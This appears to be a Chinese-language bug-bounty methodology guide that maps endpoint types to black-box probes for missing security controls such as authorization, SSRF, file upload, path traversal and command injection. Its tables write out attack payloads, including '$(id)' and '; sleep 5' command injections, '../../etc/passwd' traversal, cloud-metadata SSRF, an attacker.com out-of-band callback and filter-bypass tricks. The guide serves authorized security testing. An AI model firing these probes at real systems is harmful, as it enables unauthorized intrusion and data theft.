控制缺口(Control Gap)狩猎
白盒视角:检查"代码里有没有这个控制" → 黑盒视角:探测"这个控制是否真的生效"
这是猎手拿到一个新功能、不知道从哪入手时的 SOP
1. 思维模型
敏感操作 = 应有控制矩阵 → 黑盒探针 = 测每个控制是否缺失。
九大类操作 + 探针速查在第 3 章。
2. 端点分类速查
| 端点特征 |
类型 |
POST/PUT/DELETE + 资源 ID |
数据修改 |
GET + 单个 ID(/order/{id}) |
数据访问 |
含 export、download、batch |
批量 |
含 role、permission、grant |
权限变更 |
含 transfer、pay、refund、balance |
资金 |
接受 URL 参数(?url=、?fetch=、?import=、回调) |
SSRF |
multipart/form-data 上传 |
文件上传 |
含 file、path、filename、download |
文件读 / 删 |
含 cmd、exec、ping、nslookup、shell |
命令执行 |
/login、/reset、/verify、/sms |
认证 |
3. 9 类操作 × 探针表
3.1 数据修改 (CREATE / UPDATE / DELETE)
| 应有控制 |
黑盒探针 |
缺失则 |
| 鉴权 |
删 Authorization / Cookie,发请求 |
未授权写 → P0 |
| 资源所有权 |
用账号 A 改 B 的资源 ID |
IDOR / 越权 → P1 |
| 输入验证 |
改类型(int → "abc")、长度溢出 |
报错 / 崩溃 → 信息泄露 |
| 输入完整性 |
加额外字段 is_admin=true |
Mass Assignment → P0 |
| 操作确认 |
直接 DELETE 不带二次确认 token |
误删 / CSRF |
3.2 数据访问(READ)
| 探针 |
缺失则 |
| 改 ID 序号(自增)/ 改 UUID(猜不动就枚举)/ 改 hash |
IDOR |
| 删除认证后访问 |
未授权数据泄露 |
?ids=1,2,3,...,10000 批量 |
大面积泄露 |
改字段筛选(?fields=* 或 GraphQL) |
字段级泄露 |
3.3 批量 / 导出
| 探针 |
缺失则 |
改导出范围(startDate=2010-01-01) |
全量泄露 |
| 删除范围限制 / 用户筛选 |
跨租户泄露 |
| 高频调用 / 大并发 |
DoS / 资源耗尽 |
| 改导出对象 ID(导出他人订单) |
越权批量 |
3.4 权限变更
| 探针 |
缺失则 |
普通用户调用 /role/grant |
鉴权缺失提权 (P0) |
| 自己授予自己 admin |
自提权 (P0) |
| 普通管理员授予 super_admin |
边界缺失 (P0) |
改请求体 role: admin 等隐藏字段(IDOR + Mass Assignment) |
关键提权 (P0) |
3.5 资金
| 探针 |
缺失则 |
| 金额改 0 / 0.01 / 负数 / 1e-10 |
金额校验缺失 (P0) |
| 改商品 ID 但保留低价 |
服务端不重算 → 任意支付 |
| 重放支付回调(同一签名两次) |
幂等缺失 → 双花 |
| 并发 50 次同请求 |
竞态 → 透支 / 双发卡券 |
| 把折扣券叠加 / 退货后回退优惠券 |
业务逻辑漏洞 |
参考:WooYun-2015-0108817(电商价格篡改)。
3.6 外部 HTTP(SSRF)
| 探针 |
缺失则 |
?url=http://127.0.0.1 / [::1] / 2130706433 |
内网封禁缺失 |
?url=file:///etc/passwd |
协议白名单缺失 |
?url=http://169.254.169.254/... |
云元数据可达 |
?url=http://attacker.com 看是否回连 |
DNSLog 验证基本 SSRF |
?url=http://attacker.com 触发 302 → 内网 |
重定向跟随未限制 |
DNS Rebinding(rbndr.us) |
二次解析逃逸白名单 |
3.7 文件上传
| 探针 |
缺失则 |
改扩展名 .php .jsp .asp .phtml .jspx |
黑名单缺失 |
.Php / .pHp%20 / .php. |
大小写 / 空格绕过 |
shell.php%00.jpg |
截断绕过(旧版) |
Content-Type: image/jpeg 但内容是脚本 |
MIME 仅靠 Header |
文件名加 ../ |
路径校验缺失 |
| 上传后访问目录列表 |
命名规则猜测 |
| 内容含图片头 + 脚本(图片马) |
解析漏洞配合 |
3.8 文件读 / 下载 / 删除
| 探针 |
缺失则 |
?file=../../etc/passwd 各级 |
路径规范化缺失 |
?file=/etc/passwd(绝对路径) |
前缀校验缺失 |
?file=file:///etc/passwd |
协议过滤缺失 |
删除接口:?path=../../web/index.html |
任意文件删(易遗漏!) |
大小写:?file=../../ETC/PASSWD |
黑名单 lower |
3.9 命令执行(含 ping / nslookup / 工具类)
| 探针 |
缺失则 |
127.0.0.1; id / | id / && id / `id` / $(id) |
拼接符过滤缺失 |
127.0.0.1%0aid |
换行绕过 |
127.0.0.1 -c1 -W1 ; sleep 5 |
时间盲(无回显) |
ping ${LDAP}.attacker.com 看 DNSLog |
外带验证 |
| 命令字 cat / curl 被过滤时换 tac / wget |
关键字过滤 |
3.10 认证操作
| 探针 |
缺失则 |
| 短信验证码爆破(4–6 位数字、无频率限制) |
验证码爆破 |
| 验证码不刷新(同一码用多次) |
验证码可重用 |
| 验证码绑定关系:用 A 手机收到的码改 B 密码 |
验证码与用户解绑 |
| 重置流程跳步骤(直接 GET 第 3 步页面) |
流程跳跃 |
改请求体 username=victim |
凭证参数可控 |
| 撞库(公开数据库 + 无频率限制) |
撞库 |
详见 playbooks/logic-flaws.md 4 大密码重置模式。
3.11 越权(独立类,常被错过)
| 探针 |
缺失则 |
| 水平:账号 A 改 B 资源(同级越权) |
IDOR (P1) |
| 垂直:普通用户调用 admin API |
后端鉴权仅看 JWT 而不看 role (P0) |
Header 越权:X-User-Role: admin 注入 |
Header 信任 (P0) |
Cookie 越权:改 Cookie 中 role / userId |
客户端可控会话 (P0) |
Method 越权:DELETE 不行就试 OPTIONS / X-HTTP-Method-Override |
方法过滤不全 |
4. "新功能 5 分钟探针套餐"
拿到一个新功能,先做这 5 步(约 5–10 分钟):
5 步过完没有发现,再进对应 playbook 深挖。
5. 控制缺口报告写法
报告里把这些用同一个表格格式呈现,平台审核很喜欢:
6. 易遗漏的盲区
来自 WooYun + 真实 SRC 报告分析的"高频盲区"
- 文件删除——大家只测上传 / 下载,忘了 DELETE。任意文件删可瘫服务(删
index.html)。
- 批量参数(
ids=1,2,3,...,10000)——单个 IDOR 受限制时,批量接口往往没限制。
- 导出范围(
startDate=2010-01-01)——把分页放大 / 把日期放回十年前。
- OPTIONS / HEAD——很多鉴权拦截只针对 GET/POST。
- 二次接口 / 内部接口——通过抓 mobile app / 微信小程序常发现"PC 没暴露的"接口。
- WebSocket / SSE——文档不写、流量不抓的话很容易漏掉。
- GraphQL 深嵌套——顶层加权限,子字段没加(详见
playbooks/graphql.md)。
- 登出 / 注销 redirect_uri——OAuth 几乎所有人都忘记白名单 logout。
- 第三方回调 (short URL / sms / pay 回调)——回调 endpoint 经常无签名。
每次审计花 5 分钟过一遍这 9 个盲区,能挖到不少 P1。
7. 与 playbook 的衔接
发现某类型缺失控制 → 进入对应 playbook 深挖:
| 缺失控制 |
对应 playbook |
| 鉴权 / 资源所有权 |
playbooks/unauth-access.md、playbooks/logic-flaws.md (越权) |
| URL 白名单 / 协议过滤 |
playbooks/ssrf-cache-host.md |
| 文件类型 / 路径 |
playbooks/file-upload.md、playbooks/path-traversal.md |
| 命令白名单 / 拼接 |
playbooks/rce.md |
| 验证码 / 凭证绑定 |
playbooks/logic-flaws.md |
| 输入验证(SQL / XSS) |
playbooks/sqli.md、playbooks/xss.md |
| 金额 / 幂等 / 并发 |
playbooks/logic-flaws.md、playbooks/race-conditions.md |